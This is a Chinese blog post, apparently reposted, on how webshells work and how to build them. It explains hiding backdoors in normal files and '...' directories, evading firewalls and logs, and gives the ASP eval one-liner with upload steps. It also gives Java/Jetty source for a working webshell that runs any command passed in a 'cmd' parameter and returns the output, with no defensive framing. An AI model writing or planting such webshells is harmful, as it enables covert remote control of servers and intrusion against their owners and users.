zoukankan      html  css  js  c++  java
  • atitit.木马病毒webshell的原理and设计 java c# .net php.

    atitit.木马病毒webshell的原理and设计 java c# .net php.

     

     

     

    1. 隐蔽性

    编辑

    WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。

    webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

     

    作者:: 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙,  EMAIL:1466519819@qq.com

    转载请注明来源: http://blog.csdn.net/attilax

     

    2. webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

    根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置

     

    3. Code---

    package com.attilax.webshell;

     

    import javax.servlet.http.HttpServletRequest;

    import javax.servlet.http.HttpServletResponse;

    import javax.servlet.ServletException;

     

    import java.io.IOException;

     

    import org.eclipse.jetty.server.Server;

    import org.eclipse.jetty.server.Request;

    import org.eclipse.jetty.server.handler.AbstractHandler;

     

    import com.attilax.cmd.CmdX;

    import com.attilax.io.filex;

    import com.lowagie.text.html.HtmlEncoder;

     

    public class Webshell extends AbstractHandler

    {

        public void handle(String target,

                           Request baseRequest,

                           HttpServletRequest request,

                           HttpServletResponse response) 

            throws IOException, ServletException

        {

        String cmd=request.getParameter("cmd");

        System.out.println("==cmd:"+cmd);

        String r=new CmdX().exe(cmd);

            response.setContentType("text/html;charset=utf-8");

            response.setStatus(HttpServletResponse.SC_OK);

            baseRequest.setHandled(true);

            response.getWriter().println("--rzt:<p>"+ HtmlEncoder.encode( r));

        }

     

        public static void main(String[] args) throws Exception

        {

        //org.slf4j.helpers.MessageFormatter

        start_websell();

            System.out.println("--f");

        }

     

        public static void start_websell() {

    Server server = new Server(8080);

            server.setHandler(new Webshell());

      

            try {

    server.start();

    } catch (Exception e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

            System.out.println("--staered");

            try {

    server.join();

    } catch (InterruptedException e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

    }

    }

    4. Ref

    atitit.跨架构 bs cs解决方案自定义web服务器的实现方案 java .net jetty  HttpListener

     

    获取webshell的十种方法 - 51CTO.COM.htm

    Webshell实现与隐藏探究_91Ri.org.htm

    Webshell实现与隐藏探究_91Ri.org.htm

  • 相关阅读:
    Access, SQL Server, and Oracle数据类型的对应关系
    [转]SQL Server 2005 从差异备份还原数据库
    疲惫
    关于在cmd命令里的路径包含空格的问题
    导Excel时的科学计数法问题
    [转]SQL SERVER 2005 备份与恢复简介
    [转]用C#创建Windows Service
    [转] vb.net option
    [转]sql server profiler only TrueType fonts are supported. this is not a truetype font
    进程、线程、协程之概念理解[转帖]
  • 原文地址:https://www.cnblogs.com/attilax/p/15198663.html
Copyright © 2011-2022 走看看